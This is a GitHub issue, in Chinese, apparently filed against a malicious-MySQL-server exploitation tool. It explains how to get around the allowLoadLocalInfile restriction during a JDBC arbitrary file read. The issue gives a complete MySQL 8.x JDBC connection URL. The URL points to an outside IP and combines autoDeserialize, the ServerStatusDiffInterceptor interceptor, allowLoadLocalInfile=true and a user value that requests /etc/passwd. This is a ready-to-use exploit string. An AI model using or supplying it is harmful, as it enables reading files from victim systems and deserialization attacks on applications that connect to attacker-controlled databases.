Skip to content

建议完善jdbc连接语句 #10

Description

@yaoxiaodai

执行jdbc任意文件读取的时候,报错“但客户端的功能被“allowLoadLocalInfile”禁用 ”。这个可以通过修改mysql配置生效,但是发现生效后连接的时候还是会报以上问题。
最后通过jdbc连接的时候添加参数解决
添加allowLoadLocalInfile=true
最终8.x的语句如下
String DB_URL = "jdbc:mysql://39.10x.xx.xx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&allowLoadLocalInfile=true&user=fileread_/etc/passwd

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions